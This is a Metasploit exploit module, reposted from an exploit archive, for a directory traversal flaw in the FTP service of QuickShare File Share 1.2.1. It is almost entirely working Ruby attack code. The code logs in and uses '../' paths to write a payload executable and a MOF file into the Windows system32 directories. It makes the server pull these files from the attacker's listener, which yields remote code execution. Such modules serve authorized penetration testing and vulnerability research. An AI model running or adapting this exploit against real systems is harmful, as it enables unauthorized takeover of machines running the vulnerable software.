QuickShare File Share 1.2.1 Directory Traversal Vulnerability

Original : http://1337day.com/exploits/15126

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::Ftp
    include Msf::Exploit::Remote::TcpServer
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "QuickShare File Share 1.2.1 Directory Traversal Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in QuickShare File Share's FTP
                service.  By supplying "../" in the file path, it is possible to trigger a
                directory traversal flaw, allowing the attacker to read a file outside the
                virtual directory.  By default, the "Writable" option is enabled during account
                creation, therefore this makes it possible to create a file at an arbitrary
                location, which leads to remote code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'modpr0be', #Discovery, PoC
                    'sinn3r'    #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '70776'],
                    ['EDB', '16105'],
                    ['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
                    ['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['QuickShare File Share 1.2.1', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 03 2011",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                # Change the default description so this option makes sense
                OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
            ], self.class)
    end
 
 
    def check
        connect
        disconnect
 
        if banner =~ /quickshare ftpd/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
 
    def on_client_connect(cli)
        peer = "#{cli.peerhost}:#{cli.peerport}"
 
        case @stage
        when :exe
            print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
            cli.put(@exe)
            @stage = :mof
 
        when :mof
            print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
            cli.put(@mof)
        end
 
        cli.close
    end
 
 
    def upload(filename)
        select(nil, nil, nil, 1)
 
        peer = "#{rhost}:#{rport}"
        print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
 
        # We can't use connect_login, because it cannot determine a successful login correctly.
        # For example: The server actually returns a 503 (Bad Sequence of Commands) when the
        # user has already authenticated.
        conn = connect(false, datastore['VERBOSE'])
 
        res = send_user(datastore['FTPUSER'], conn)
 
        if res !~ /^(331|2)/
            vprint_error("#{peer} - The server rejected our username: #{res.to_s}")
            return false
        end
 
        res = send_pass(datastore['FTPPASS'], conn)
        if res !~ /^(2|503)/
            vprint_error("#{peer} - The server rejected our password: #{res.to_s}")
            return false
        end
 
        # Switch to binary mode
        print_status("#{peer} - Set binary mode")
        send_cmd(['TYPE', 'I'], true, conn)
 
        # Prepare active mode: Get attacker's IP and source port
        src_ip   = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
        src_port = datastore['SRVPORT'].to_i
 
        # Prepare active mode: Convert the IP and port for active mode
        src_ip   = src_ip.gsub(/\./, ',')
        src_port = "#{src_port/256},#{src_port.remainder(256)}"
 
        # Set to active mode
        print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
        send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
 
        # Tell the FTP server to download our file
        send_cmd(['STOR', filename], false, conn)
 
        disconnect(conn)
    end
 
 
    def exploit
        trigger  = '../../../../../../../../'
        exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
        mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"
        @mof      = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
        @exe      = generate_payload_exe
        @stage = :exe
 
        begin
            t = framework.threads.spawn("reqs", false) {
                # Upload our malicious executable
                u = upload(exe_name)
 
                # Upload the mof file
                upload(mof_name) if u
            }
            super
        ensure
            t.kill
        end
    end
 
end



#  0day.today [2017-12-31]  #